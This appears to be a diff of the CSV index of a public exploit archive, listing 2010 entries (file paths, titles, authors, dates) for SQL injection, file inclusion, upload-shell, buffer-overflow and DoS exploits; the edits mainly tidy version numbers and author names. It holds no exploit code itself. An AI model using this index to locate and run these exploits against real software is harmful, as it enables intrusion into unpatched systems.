-12420,platforms/php/webapps/12420.php,"Portaneo Portal v2.2.3 Remote Arbitrary File Upload Exploit",2010-04-27,eidelweiss,php,webapps,0
+12417,platforms/windows/remote/12417.py,"Bigant Messenger <= 2.52 - (AntCore.dll) RegisterCom() Remote 0day Heap Overflow",2010-04-27,mr_me,windows,remote,0
+12419,platforms/php/webapps/12419.txt,"Boutique SudBox 1.2 Changer Login et Mot de Passe CSRF Vulnerability",2010-04-27,"indoushka salah el ddine",php,webapps,0
+12420,platforms/php/webapps/12420.php,"Portaneo Portal 2.2.3 - Remote Arbitrary File Upload Exploit",2010-04-27,eidelweiss,php,webapps,0
 12421,platforms/php/webapps/12421.txt,"Help Center Live 2.0.6(module=helpcenter&file=) Local File Inclusion",2010-04-27,41.w4r10r,php,webapps,0
 12422,platforms/windows/dos/12422.pl,"Acoustica v. 3.32 cd/dvd label maker .m3u PoC",2010-04-27,chap0,windows,dos,0
 12423,platforms/php/webapps/12423.txt,"CLScript.com Classifieds Software SQL Injection Vunerability",2010-04-27,41.w4r10,php,webapps,0
-12424,platforms/asp/webapps/12424.txt,"Acart <= 2.0 Shopping Cart Software Backup Dump Vulnerability",2010-04-27,indoushka,asp,webapps,0
-12425,platforms/windows/dos/12425.html,"Webkit (Safari v4.0.5) blink tag Stack Exhaustion DoS",2010-04-27,Dr_IDE,windows,dos,0
+12424,platforms/asp/webapps/12424.txt,"Acart <= 2.0 Shopping Cart Software Backup Dump Vulnerability",2010-04-27,"indoushka salah el ddine",asp,webapps,0
+12425,platforms/windows/dos/12425.html,"Webkit (Safari 4.0.5) - Blink Tag Stack Exhaustion DoS",2010-04-27,Dr_IDE,windows,dos,0
 12426,platforms/php/webapps/12426.txt,"Joomla Component Ultimate Portfolio com_ultimateportfolio Local File Inclusion Vulnerability",2010-04-27,AntiSecurity,php,webapps,0
 12427,platforms/php/webapps/12427.txt,"Joomla Component NoticeBoard com_noticeboard Local File Inclusion Vulnerability",2010-04-27,AntiSecurity,php,webapps,0
 12428,platforms/php/webapps/12428.txt,"Joomla Component SmartSite com_smartsite Local File Inclusion Vulnerability",2010-04-27,AntiSecurity,php,webapps,0
 12429,platforms/php/webapps/12429.pl,"Joomla ABC Extension com_abc SQL Injection Exploit",2010-04-27,AntiSecurity,php,webapps,0
-12430,platforms/php/webapps/12430.txt,"Joomla Component graphics (com_graphics) v1.0.6 LFI Vulnerability",2010-04-27,"wishnusakti + inc0mp13te",php,webapps,0
+12430,platforms/php/webapps/12430.txt,"Joomla Component graphics (com_graphics) 1.0.6 - LFI Vulnerability",2010-04-27,"wishnusakti + inc0mp13te",php,webapps,0
 12431,platforms/windows/dos/12431.html,"Webmoney Advisor ActiveX Remote DoS Exploit",2010-04-28,Go0o$E,windows,dos,0
 12432,platforms/php/webapps/12432.txt,"Joomla JE Property Finder Component Upload Vulnerability",2010-04-28,Sid3^effects,php,webapps,0
 12433,platforms/cgi/webapps/12433.py,"NIBE heat pump RCE exploit",2010-04-28,"Jelmer de Hen",cgi,webapps,0
@@ -11343,45 +11343,45 @@ id,file,description,date,author,platform,type,port
 12442,platforms/php/webapps/12442.txt,"GeneShop 5.1.1 SQL Injection Vunerability",2010-04-28,41.w4r10r,php,webapps,0
 12443,platforms/php/webapps/12443.txt,"Modelbook (casting_view.php) SQL Injection Vulnerability",2010-04-28,v3n0m,php,webapps,0
 12444,platforms/php/webapps/12444.txt,"PHP Video Battle SQL Injection Vulnerability",2010-04-28,v3n0m,php,webapps,0
-12445,platforms/php/webapps/12445.txt,"Authenication Bypass Vulnerability in Articles Directory",2010-04-29,Sid3^effects,php,webapps,0
-12446,platforms/php/webapps/12446.txt,"TR Forum 1.5 Mullti Vulnerability",2010-04-29,indoushka,php,webapps,0
-12447,platforms/php/webapps/12447.txt,"XT-Commerce v1 Beta 1 => by Pass / Creat and Download Backup Vulnerability",2010-04-29,indoushka,php,webapps,0
-12448,platforms/php/webapps/12448.txt,"Upload Vulnerability and XSS in socialware V2.2",2010-04-29,Sid3^effects,php,webapps,0
-12449,platforms/php/webapps/12449.txt,"deV!L`z Clanportal V1.5 Mullti Vulnerability",2010-04-29,indoushka,php,webapps,0
+12445,platforms/php/webapps/12445.txt,"Articles Directory - Authenication Bypass Vulnerability",2010-04-29,Sid3^effects,php,webapps,0
+12446,platforms/php/webapps/12446.txt,"TR Forum 1.5 Mullti Vulnerability",2010-04-29,"indoushka salah el ddine",php,webapps,0
+12447,platforms/php/webapps/12447.txt,"XT-Commerce 1.0 Beta 1 => Pass / Creat and Download Backup Vulnerability",2010-04-29,"indoushka salah el ddine",php,webapps,0
+12448,platforms/php/webapps/12448.txt,"Socialware 2.2 - Upload Vulnerability and XSS",2010-04-29,Sid3^effects,php,webapps,0
+12449,platforms/php/webapps/12449.txt,"deV!L`z Clanportal 1.5 - Mullti Vulnerability",2010-04-29,"indoushka salah el ddine",php,webapps,0
 12450,platforms/windows/webapps/12450.txt,"Microsoft SharePoint Server 2007 XSS Vulnerability",2010-04-29,"High-Tech Bridge SA",windows,webapps,0
-12451,platforms/php/webapps/12451.txt,"SQli Vulnerability in iScripts VisualCaster",2010-04-29,Sid3^effects,php,webapps,0
+12451,platforms/php/webapps/12451.txt,"iScripts VisualCaster - SQli Vulnerability",2010-04-29,Sid3^effects,php,webapps,0
 12452,platforms/php/webapps/12452.txt,"TaskFreak 0.6.2 SQL Injection Vulnerability",2010-04-29,"Justin C. Klein Keane",php,webapps,0
-12453,platforms/php/webapps/12453.txt,"Zyke CMS V1.1 By pass Vulnerability",2010-04-29,"indoushka ",php,webapps,0
-12454,platforms/php/webapps/12454.txt,"Zyke CMS V1.0 Remote File Upload Vulnerability",2010-04-29,"indoushka ",php,webapps,0
-12455,platforms/php/webapps/12455.txt,"Ucenter Projekt 2.0 Insecure crossdomain (XSS) Vulnerability",2010-04-29,indoushka,php,webapps,0
+12453,platforms/php/webapps/12453.txt,"Zyke CMS 1.1 - Bypass Vulnerability",2010-04-29,"indoushka salah el ddine",php,webapps,0
+12454,platforms/php/webapps/12454.txt,"Zyke CMS 1.0 - Remote File Upload Vulnerability",2010-04-29,"indoushka salah el ddine",php,webapps,0
+12455,platforms/php/webapps/12455.txt,"Ucenter Projekt 2.0 Insecure crossdomain (XSS) Vulnerability",2010-04-29,"indoushka salah el ddine",php,webapps,0
 12456,platforms/php/webapps/12456.txt,"chCounter indirect SQL Injection and XSS Vulnerabilities",2010-04-29,Valentin,php,webapps,0
 12457,platforms/windows/dos/12457.txt,"Apple Safari 4.0.3 (Win32) CSS Remote Denial Of Service Exploit",2010-04-29,ITSecTeam,windows,dos,0
 12458,platforms/php/webapps/12458.txt,"Scratcher (SQL/XSS) Multiple Remote Vulnerability",2010-04-29,cr4wl3r,php,webapps,0
 12459,platforms/php/webapps/12459.txt,"EC21 Clone 3.0 (id) SQL Injection Vulnerability",2010-04-30,v3n0m,php,webapps,0
 12460,platforms/php/webapps/12460.txt,"B2B Gold Script (id) SQL Injection Vulnerability",2010-04-30,v3n0m,php,webapps,0
-12461,platforms/php/webapps/12461.txt,"SQLi Vulnerability in JobPost",2010-04-30,Sid3^effects,php,webapps,0
-12462,platforms/php/webapps/12462.txt,"MSSQLi Vulnerability in AutoDealer Ver.1 and Ver.2",2010-04-30,Sid3^effects,php,webapps,0
-12463,platforms/php/webapps/12463.txt,"Multiple Vulnerability in New-CMS",2010-04-30,"Dr. Alberto Fontanella",php,webapps,0
-12464,platforms/asp/webapps/12464.txt,"ASPCode CMS <= v1.5.8 Multiple Vulnerabilities",2010-04-30,"Dr. Alberto Fontanella",asp,webapps,0
+12461,platforms/php/webapps/12461.txt,"JobPost - SQLi Vulnerability",2010-04-30,Sid3^effects,php,webapps,0
+12462,platforms/php/webapps/12462.txt,"AutoDealer 1.0 & 2.0 - MSSQLi Vulnerability",2010-04-30,Sid3^effects,php,webapps,0
+12463,platforms/php/webapps/12463.txt,"New-CMS - Multiple Vulnerability",2010-04-30,"Dr. Alberto Fontanella",php,webapps,0
+12464,platforms/asp/webapps/12464.txt,"ASPCode CMS <= 1.5.8 - Multiple Vulnerabilities",2010-04-30,"Dr. Alberto Fontanella",asp,webapps,0
 12465,platforms/php/webapps/12465.txt,"Joomla Component com_newsfeeds SQL injection vulnerability",2010-04-30,Archimonde,php,webapps,0
-12466,platforms/php/webapps/12466.txt,"Puntal v2.1.0 Remote File Inclusion Vulnerability",2010-04-30,eidelweiss,php,webapps,0
-12467,platforms/php/webapps/12467.txt,"Webthaiapp detail.php(cat) Blind Sql injection  Vulnerability",2010-04-30,Xelenonz,php,webapps,0
+12466,platforms/php/webapps/12466.txt,"Puntal 2.1.0 - Remote File Inclusion Vulnerability",2010-04-30,eidelweiss,php,webapps,0
+12467,platforms/php/webapps/12467.txt,"Webthaiapp detail.php(cat) Blind Sql injection Vulnerability",2010-04-30,Xelenonz,php,webapps,0
 12468,platforms/php/webapps/12468.txt,"Alibaba Clone Platinum (offers_buy.php) SQL Injection Vulnerability",2010-04-30,v3n0m,php,webapps,0
 12469,platforms/windows/local/12469.rb,"Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (.zip) SEH",2010-04-30,Lincoln,windows,local,0
 12471,platforms/asp/webapps/12471.txt,"Comersus 8 Shopping Cart SQL Injection and CSRF Vulnerability",2010-05-01,Sid3^effects,asp,webapps,0
-12472,platforms/php/webapps/12472.txt,"CF Image Host v1.1 Remote File Inclusion Vulnerability",2010-05-01,The.Morpheus,php,webapps,0
+12472,platforms/php/webapps/12472.txt,"CF Image Host 1.1 - Remote File Inclusion Vulnerability",2010-05-01,The.Morpheus,php,webapps,0
 12473,platforms/php/webapps/12473.txt,"Joomla Component Table JX XSS Vulnerabilities",2010-05-01,Valentin,php,webapps,0
 12474,platforms/php/webapps/12474.txt,"Joomla Component Card View JX XSS Vulnerabilities",2010-05-01,Valentin,php,webapps,0
 12475,platforms/php/webapps/12475.txt,"Opencatalogue 1.024 Local File Include Vulnerability",2010-05-01,cr4wl3r,php,webapps,0
 12476,platforms/php/webapps/12476.txt,"Opencimetiere 2.01 Multiple Remote File Include Vulnerability",2010-05-01,cr4wl3r,php,webapps,0
 12477,platforms/windows/dos/12477.txt,"Google Chrome 4.1.249.1064 Remote Memory Corrupt",2010-05-01,eidelweiss,windows,dos,0
-12478,platforms/asp/webapps/12478.txt,"Mesut Man₫et Haber V1.0 Auth Bypass Vulnerability",2010-05-02,LionTurk,asp,webapps,0
+12478,platforms/asp/webapps/12478.txt,"Mesut Man₫et Haber 1.0 - Auth Bypass Vulnerability",2010-05-02,LionTurk,asp,webapps,0
 12479,platforms/php/webapps/12479.txt,"Joomla DJ-Classifieds Extension com_djclassifieds Upload Vulnerability",2010-05-02,Sid3^effects,php,webapps,0
-12480,platforms/windows/remote/12480.txt,"Acritum Femitter Server v1.03 Multiple Vulnerabilities",2010-05-02,"Zer0 Thunder",windows,remote,0
+12480,platforms/windows/remote/12480.txt,"Acritum Femitter Server 1.03 - Multiple Vulnerabilities",2010-05-02,"Zer0 Thunder",windows,remote,0
 12481,platforms/php/webapps/12481.txt,"WHMCS Control 2 (announcements.php) SQL Injection",2010-05-02,"Islam DefenDers",php,webapps,0
 12482,platforms/windows/dos/12482.py,"TFTPGUI Long Transport Mode Overflow",2010-05-02,"Jeremiah Talamantes",windows,dos,0
-12484,platforms/php/webapps/12484.txt,"GuppY v4.5.18 Blind SQL/XPath injection Vulnerability",2010-05-02,indoushka,php,webapps,0
-12485,platforms/php/webapps/12485.txt,"Burning Board Lite 1.0.2 Shell Upload Vulnerability",2010-05-02,indoushka,php,webapps,0
+12484,platforms/php/webapps/12484.txt,"GuppY 4.5.18 - Blind SQL/XPath Injection Vulnerability",2010-05-02,"indoushka salah el ddine",php,webapps,0
+12485,platforms/php/webapps/12485.txt,"Burning Board Lite 1.0.2 Shell Upload Vulnerability",2010-05-02,"indoushka salah el ddine",php,webapps,0
 12486,platforms/php/webapps/12486.txt,"Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability",2010-05-02,cr4wl3r,php,webapps,0
 12487,platforms/windows/dos/12487.html,"JavaScriptCore.dll Stack Exhaustion",2010-05-03,"Mathias Karlsson",windows,dos,0
 12488,platforms/php/webapps/12488.txt,"Gallo 0.1.0 Remote File Include Vulnerability",2010-05-03,cr4wl3r,php,webapps,0
@@ -11389,11 +11389,11 @@ id,file,description,date,author,platform,type,port
 12491,platforms/multiple/dos/12491.html,"All browsers 0day Crash Exploit",2010-05-03,"Inj3ct0r Team",multiple,dos,0
 12492,platforms/windows/dos/12492.html,"Firefox 3.6.3 Fork Bomb DoS",2010-05-03,Dr_IDE,windows,dos,0
 12493,platforms/multiple/dos/12493.html,"All Browsers - Long Unicode DoS PoC",2010-05-03,Dr_IDE,multiple,dos,0
-12494,platforms/windows/dos/12494.pl,"Winamp v5.572 0day Local Crash PoC",2010-05-03,R3d-D3v!L,windows,dos,0
+12494,platforms/windows/dos/12494.pl,"Winamp 5.572 - Local Crash PoC (0day)",2010-05-03,R3d-D3v!L,windows,dos,0
 12495,platforms/windows/remote/12495.pl,"ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)",2010-05-03,"Alexey Sintsov",windows,remote,0
-12496,platforms/php/webapps/12496.html,"KubeBlog XSRF",2010-05-03,The.Morpheus,php,webapps,0
+12496,platforms/php/webapps/12496.html,"KubeBlog CSRF",2010-05-03,The.Morpheus,php,webapps,0
 12497,platforms/windows/local/12497.c,"PhotoFiltre Studio X .tif file local buffer overflow poc (0day)",2010-05-04,"fl0 fl0w",windows,local,0
-12498,platforms/windows/remote/12498.txt,"VicFTPS v5.0 Directory Traversal",2010-05-04,chr1x,windows,remote,0
+12498,platforms/windows/remote/12498.txt,"VicFTPS 5.0 - Directory Traversal",2010-05-04,chr1x,windows,remote,0
 12499,platforms/php/webapps/12499.txt,"DBHcms 1.1.4 Stored XSS",2010-05-04,ITSecTeam,php,webapps,0
 12500,platforms/php/webapps/12500.txt,"Clicksor SQL Injecti0n Vulnerability",2010-05-04,JM511,php,webapps,0
 12501,platforms/windows/local/12501.php,"Beyond Compare 3.0.13 b9599 (.zip) 0day Stack Buffer Overflow PoC Exploit",2010-05-04,mr_me,windows,local,0
@@ -11402,10 +11402,10 @@ id,file,description,date,author,platform,type,port
 12507,platforms/php/webapps/12507.txt,"SmartCMS v.2 SQL Injection Vulnerability",2010-05-04,Ariko-Security,php,webapps,0
 12508,platforms/osx/dos/12508.html,"history.go() DoS on multiple browsers",2010-05-04,Dr_IDE,osx,dos,0
 12509,platforms/osx/dos/12509.html,"window.print() DoS on multiple browsers",2010-05-04,Dr_IDE,osx,dos,0
-12510,platforms/php/webapps/12510.php,"Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35",2010-05-05,"Michael Brooks",php,webapps,0
-12511,platforms/windows/remote/12511.txt,"MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure",2010-05-05,Kingcope,windows,remote,0
+12510,platforms/php/webapps/12510.php,"PHP-Nuke 7.0/8.1/8.1.35 - Wormable Remote Code Execution",2010-05-05,"Michael Brooks",php,webapps,0
+12511,platforms/windows/remote/12511.txt,"MDaemon Mailer Daemon 11.0.1 - Remote File Disclosure",2010-05-05,Kingcope,windows,remote,0
 12512,platforms/windows/remote/12512.py,"Ziepod+ 1.0 Cross Application Scripting",2010-05-05,sinn3r,windows,remote,0
-12514,platforms/php/webapps/12514.txt,"PHP-NUKE v5.0 viewslink Remote SQL Injection",2010-05-05,CMD,php,webapps,0
+12514,platforms/php/webapps/12514.txt,"PHP-NUKE 5.0 - Viewslink Remote SQL Injection",2010-05-05,CMD,php,webapps,0
 12515,platforms/php/webapps/12515.txt,"Slooze PHP Web Photo Album v0.2.7 Command Execution Vulnerability",2010-05-05,"Sn!pEr.S!Te hacker",php,webapps,0
 12516,platforms/windows/local/12516.py,"BaoFeng Storm M3U File Processing Buffer Overflow Exploit",2010-05-06,"Lufeng Li and Qingshan Li",windows,local,0
 12517,platforms/php/webapps/12517.txt,"GetSimple 2.01 LFI",2010-05-06,Batch,php,webapps,0
@@ -11421,14 +11421,14 @@ id,file,description,date,author,platform,type,port
 12527,platforms/asp/webapps/12527.txt,"Administrador de Contenidos Admin Login Bypass vulnerability",2010-05-07,Ra3cH,asp,webapps,0
 12528,platforms/windows/local/12528.pl,"AVCON H323Call Buffer Overflow",2010-05-07,"Dillon Beresford ",windows,local,0
 12529,platforms/windows/dos/12529.py,"ESET Smart Security 4.2 and NOD32 Antivirus 4.2 (x32-x64) LZH archive parsing PoC Exploit",2010-05-07,"Oleksiuk Dmitry, eSage Lab",windows,dos,0
-12530,platforms/windows/dos/12530.rb,"TFTPGUI v1.4.5 Long Transport Mode Overflow DoS (Meta)",2010-05-08,"Jeremiah Talamantes",windows,dos,0
+12530,platforms/windows/dos/12530.rb,"TFTPGUI 1.4.5 - Long Transport Mode Overflow DoS (Meta)",2010-05-08,"Jeremiah Talamantes",windows,dos,0
 12531,platforms/windows/dos/12531.pl,"GeoHttpServer Remote DoS Vulnerability",2010-05-08,aviho1,windows,dos,0
 12532,platforms/php/webapps/12532.txt,"B2B Classic Trading Script (offers.php) SQL Injection Vulnerability",2010-05-08,v3n0m,php,webapps,0
 12533,platforms/php/webapps/12533.txt,"(big.asp) SQL Injection Vulnerability",2010-05-08,Ra3cH,php,webapps,0
-12534,platforms/php/webapps/12534.txt,"PHP Link Manager Version 1.7 Url Redirection Bug",2010-05-08,ITSecTeam,php,webapps,0
+12534,platforms/php/webapps/12534.txt,"PHP Link Manager 1.7 - Url Redirection Bug",2010-05-08,ItSecTeam,php,webapps,0
 12535,platforms/php/webapps/12535.txt,"phpscripte24 Countdown Standart Rückwärts Auktions System SQL Injection",2010-05-08,"Easy Laster",php,webapps,0
 12539,platforms/php/webapps/12539.txt,"Joomla Component com_articleman Upload Vulnerability",2010-05-08,Sid3^effects,php,webapps,0
-12540,platforms/windows/local/12540.rb,"IDEAL Migration v4.5.1 Buffer Overflow Exploit (Meta)",2010-05-08,Blake,windows,local,0
+12540,platforms/windows/local/12540.rb,"IDEAL Migration 4.5.1 - Buffer Overflow Exploit (Meta)",2010-05-08,Blake,windows,local,0
 12541,platforms/windows/dos/12541.php,"Dolphin 2.0 (.elf) Local Daniel Of Service",2010-05-09,"Yakir Wizman",windows,dos,0
 12542,platforms/php/webapps/12542.rb,"phpscripte24 Shop System SQL Injection Vulnerability Exploit",2010-05-09,"Easy Laster",php,webapps,0
 12543,platforms/php/webapps/12543.rb,"Alibaba Clone Version <= 3.0 (Special) SQL Injection Vulnerability Exploit",2010-05-09,"Easy Laster",php,webapps,0
@@ -11436,7 +11436,7 @@ id,file,description,date,author,platform,type,port
 12545,platforms/php/webapps/12545.rb,"phpscripte24 Live Shopping Multi Portal System SQL Injection Vulnerability Exploit",2010-05-09,"Easy Laster",php,webapps,0
 12546,platforms/windows/dos/12546.pl,"Hyplay 1.2.326.1 (.asx) Local DoS crash PoC",2010-05-10,"Steve James",windows,dos,0
 12547,platforms/php/webapps/12547.txt,"e-webtech (new.asp?id=) SQL Injection Vulnerability",2010-05-10,protocol,php,webapps,0
-12550,platforms/php/webapps/12550.pl,"Netvidade engine v1.0 Multiple Vulnerabilities",2010-05-10,pwndomina,php,webapps,0
+12550,platforms/php/webapps/12550.pl,"Netvidade engine 1.0 - Multiple Vulnerabilities",2010-05-10,pwndomina,php,webapps,0
 12551,platforms/php/webapps/12551.txt,"Spaceacre Multiple SQL Injection Vulnerability",2010-05-10,Gendenk,php,webapps,0
 12552,platforms/php/webapps/12552.txt,"tekno.Portal v 0.1b (makale.php id) SQL Injection Vulnerability",2010-05-10,CoBRa_21,php,webapps,0
 12553,platforms/php/webapps/12553.txt,"Dark Hart Portal (login.php) Remote File Inclusion Vulnerability",2010-05-10,CoBRa_21,php,webapps,0
@@ -11445,17 +11445,17 @@ id,file,description,date,author,platform,type,port
 12556,platforms/php/webapps/12556.txt,"Tadbir CMS (fckeditor) Remote Arbitrary File Upload Exploit Vulnerability",2010-05-10,"Pouya Daneshmand",php,webapps,0
 12557,platforms/php/webapps/12557.txt,"Family Connections 2.2.3 Multiple Remote Vulnerabilities",2010-05-10,"Salvatore Fresta",php,webapps,0
 12558,platforms/php/webapps/12558.txt,"29o3 CMS (LibDir) Multiple RFI Vulnerability",2010-05-10,eidelweiss,php,webapps,0
-12560,platforms/php/webapps/12560.txt,"724CMS Enterprise Version 4.59 SQL Injection Vulnerability",2010-05-10,cyberlog,php,webapps,0
-12561,platforms/php/webapps/12561.txt,"PHPKB Knowledge Base Software v2 Multilanguage Support Multi SQL Injection Vulnerabilities",2010-05-10,R3d-D3v!L,php,webapps,0
+12560,platforms/php/webapps/12560.txt,"724CMS Enterprise 4.59 - SQL Injection Vulnerability",2010-05-10,Cyberlog,php,webapps,0
+12561,platforms/php/webapps/12561.txt,"PHPKB Knowledge Base Software 2.0 - Multilanguage Support Multi SQL Injection Vulnerabilities",2010-05-10,R3d-D3v!L,php,webapps,0
 12562,platforms/php/webapps/12562.txt,"Waibrasil Remote / Local File Inclusion",2010-05-10,eXeSoul,php,webapps,0
 12563,platforms/php/webapps/12563.txt,"Fiomental & Coolsis Backoffice Multi Vulnerability",2010-05-10,MasterGipy,php,webapps,0
 12564,platforms/windows/dos/12564.txt,"Microsoft Windows Outlook Express and Windows Mail Integer Overflow",2010-05-11,"Francis Provencher",windows,dos,0
-12565,platforms/php/webapps/12565.txt,"724CMS Enterprise Version 4.59 (section.php) LFI Vulnerability",2010-05-11,CoBRa_21,php,webapps,0
-12566,platforms/php/webapps/12566.txt,"724CMS Enterprise Version 4.59 (section.php) SQL Injection Vulnerability",2010-05-11,CoBRa_21,php,webapps,0
-12567,platforms/php/webapps/12567.html,"Aqar Script V.1 Remote By pass Exploit",2010-05-11,indoushka,php,webapps,0
-12568,platforms/php/webapps/12568.txt,"Digital College 1.0 Upload Vulnerability",2010-05-11,indoushka,php,webapps,0
-12569,platforms/php/webapps/12569.html,"Fast Free Media v1.3 Adult Site Upload Shell Exploit",2010-05-11,indoushka,php,webapps,0
-12570,platforms/php/webapps/12570.txt,"Uploader v0.1.5 Multiple Vulnerabilities",2010-05-11,indoushka,php,webapps,0
+12565,platforms/php/webapps/12565.txt,"724CMS Enterprise 4.59 - (section.php) LFI Vulnerability",2010-05-11,CoBRa_21,php,webapps,0
+12566,platforms/php/webapps/12566.txt,"724CMS Enterprise 4.59 - (section.php) SQL Injection Vulnerability",2010-05-11,CoBRa_21,php,webapps,0
+12567,platforms/php/webapps/12567.html,"Aqar Script V.1 Remote By pass Exploit",2010-05-11,"indoushka salah el ddine",php,webapps,0
+12568,platforms/php/webapps/12568.txt,"Digital College 1.0 Upload Vulnerability",2010-05-11,"indoushka salah el ddine",php,webapps,0
+12569,platforms/php/webapps/12569.html,"Fast Free Media 1.3 - Adult Site Upload Shell Exploit",2010-05-11,"indoushka salah el ddine",php,webapps,0
+12570,platforms/php/webapps/12570.txt,"Uploader v0.1.5 Multiple Vulnerabilities",2010-05-11,"indoushka salah el ddine",php,webapps,0
 12571,platforms/asp/webapps/12571.txt,"e-webtech (page.asp) SQL Injection Vulnerability",2010-05-11,CoBRa_21,asp,webapps,0
 12572,platforms/php/webapps/12572.txt,"Free Advertisment cms (user_info.php) SQL Injection Vulnerability",2010-05-11,XroGuE,php,webapps,0
 12573,platforms/windows/remote/12573.html,"Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit",2010-05-11,"Krystian Kloskowski",windows,remote,0
@@ -11470,13 +11470,13 @@ id,file,description,date,author,platform,type,port
 12582,platforms/windows/remote/12582.txt,"zervit Web Server v0.4 Directory Traversals",2010-05-12,Dr_IDE,windows,remote,0
 12583,platforms/php/webapps/12583.txt,"e-webtech (fixed_page.asp) SQL Injection Vulnerability",2010-05-12,Fl0riX,php,webapps,0
 12584,platforms/php/webapps/12584.txt,"PolyPager 1.0rc10 (fckeditor) Remote Arbitrary File Upload Vulnerability",2010-05-12,eidelweiss,php,webapps,0
-12585,platforms/php/webapps/12585.txt,"4images <= 1.7.7 (image_utils.php)  Remote Command Execution Vulnerability",2010-05-12,"Sn!pEr.S!Te Hacker",php,webapps,0
+12585,platforms/php/webapps/12585.txt,"4images <= 1.7.7 (image_utils.php) Remote Command Execution Vulnerability",2010-05-12,"Sn!pEr.S!Te Hacker",php,webapps,0
 12586,platforms/php/webapps/12586.php,"IPB 3.0.1 sql injection exploit",2010-05-13,Cryptovirus,php,webapps,0
 12587,platforms/linux/remote/12587.c,"WFTPD Server 3.30 Multiple remote vulnerabilities(0day)",2010-05-13,"fl0 fl0w",linux,remote,21
 12588,platforms/linux/dos/12588.txt,"Samba Multiple DoS Vulnerabilities",2010-05-13,"Laurent Gaffie",linux,dos,0
 12590,platforms/php/webapps/12590.txt,"Joomla Component com_konsultasi (sid) SQL Injection Vulnerability",2010-05-13,c4uR,php,webapps,0
-12591,platforms/php/webapps/12591.txt,"BlaB! Lite <== 0.5 Remote File Inclusion Vulnerability",2010-05-13,"Sn!pEr.S!Te Hacker",php,webapps,0
-12592,platforms/php/webapps/12592.txt,"Joomla Component advertising (com_aardvertiser) V2.0 Local File Inclusion Vulnerability",2010-05-13,eidelweiss,php,webapps,0
+12591,platforms/php/webapps/12591.txt,"BlaB! Lite <= 0.5 - Remote File Inclusion Vulnerability",2010-05-13,"Sn!pEr.S!Te hacker",php,webapps,0
+12592,platforms/php/webapps/12592.txt,"Joomla Component advertising (com_aardvertiser) 2.0 - Local File Inclusion Vulnerability",2010-05-13,eidelweiss,php,webapps,0
 12593,platforms/php/webapps/12593.txt,"damianov.net Shoutbox XSS Vulnerability",2010-05-13,"Valentin Hoebel",php,webapps,0
 12594,platforms/php/webapps/12594.txt,"Joomla Component Seber Cart (getPic.php) Local File Disclosure Vulnerability",2010-05-13,AntiSecurity,php,webapps,0
 12595,platforms/php/webapps/12595.txt,"Joomla Component FDione Form Wizard lfi vulnerability",2010-05-13,"Chip D3 Bi0s",php,webapps,0
@@ -11486,10 +11486,10 @@ id,file,description,date,author,platform,type,port
 12599,platforms/php/webapps/12599.txt,"Heaven Soft CMS v 4.7 SQL Injection Vulnerability",2010-05-14,PrinceofHacking,php,webapps,0
 12601,platforms/php/webapps/12601.txt,"Joomla Component JE Job Local File Inclusion Vulnerability",2010-05-14,Valentin,php,webapps,0
 12602,platforms/windows/dos/12602.txt,"Firefox 3.6.3 & Safari 4.0.5 - Access Violation Exception and Unknown Exception",2010-05-14,"Fredrik Nordberg Almroth",windows,dos,0
-12603,platforms/windows/dos/12603.py,"SmallFTPD FTP Server v1.0.3 DELE Command DoS",2010-05-14,"Jeremiah Talamantes",windows,dos,0
-12604,platforms/windows/dos/12604.py,"TYPSoft FTP Server v1.10 RETR Command DoS",2010-05-14,"Jeremiah Talamantes",windows,dos,0
+12603,platforms/windows/dos/12603.py,"SmallFTPD FTP Server 1.0.3 - DELE Command DoS",2010-05-14,"Jeremiah Talamantes",windows,dos,0
+12604,platforms/windows/dos/12604.py,"TYPSoft FTP Server 1.10 - RETR Command DoS",2010-05-14,"Jeremiah Talamantes",windows,dos,0
 12605,platforms/windows/dos/12605.html,"IncrediMail (ImShExtU.dll) ActiveX Memory Corruption",2010-05-14,Lincoln,windows,dos,0
-12606,platforms/asp/webapps/12606.txt,"SQL injection vulnerability in SelfComposer CMS",2010-05-14,Locu,asp,webapps,0
+12606,platforms/asp/webapps/12606.txt,"SelfComposer CMS- SQL injection vulnerability",2010-05-14,Locu,asp,webapps,0
 12607,platforms/php/webapps/12607.txt,"Joomla Component com_jequoteform - Local File Inclusion",2010-05-14,altbta,php,webapps,0
 12608,platforms/php/webapps/12608.txt,"Heaven Soft CMS v 4.7 (photogallery_open.php) SQL Injection Vulnerability",2010-05-14,CoBRa_21,php,webapps,0
 12609,platforms/php/webapps/12609.txt,"Alibaba Clone Platinum (buyer/index.php) SQL Injection Vulnerability",2010-05-14,GuN,php,webapps,0
@@ -11499,13 +11499,13 @@ id,file,description,date,author,platform,type,port
 12613,platforms/php/webapps/12613.txt,"CompactCMS 1.4.0 (tiny_mce) Remote File Upload",2010-05-15,ITSecTeam,php,webapps,0
 12614,platforms/windows/remote/12614.txt,"Safari 4.0.5 parent.close() Memory Corruption exploit (w/ASLR and DEP bypass)",2010-05-15,"Alexey Sintsov",windows,remote,0
 12615,platforms/php/webapps/12615.txt,"Joomla Component com_camp SQL Injection Vulnerability",2010-05-15,"Kernel Security Group",php,webapps,0
-12617,platforms/php/webapps/12617.txt,"File Thingie v2.5.5 File Security Bypass",2010-05-16,"Jeremiah Talamantes",php,webapps,0
+12617,platforms/php/webapps/12617.txt,"File Thingie 2.5.5 - File Security Bypass",2010-05-16,"Jeremiah Talamantes",php,webapps,0
 12618,platforms/php/webapps/12618.txt,"Joomla Component simpledownload LFI Vulnerability",2010-05-16,Xr0b0t,php,webapps,0
 12619,platforms/php/webapps/12619.txt,"Cybertek CMS Local File Include Vulnerability",2010-05-16,XroGuE,php,webapps,0
 12620,platforms/php/webapps/12620.txt,"The iceberg 'Content Management System' SQL Injection Vulnerability",2010-05-16,cyberlog,php,webapps,0
-12621,platforms/windows/local/12621.pl,"Shellzip v3.0 Beta 3 (.zip) 0day Stack Buffer Overflow PoC exploit",2010-05-16,Sud0,windows,local,0
+12621,platforms/windows/local/12621.pl,"Shellzip 3.0 Beta 3 - (.zip) 0day Stack Buffer Overflow PoC exploit",2010-05-16,Sud0,windows,local,0
 12623,platforms/php/webapps/12623.txt,"Joomla Component simpledownload Local File Disclosure",2010-05-16,altbta,php,webapps,0
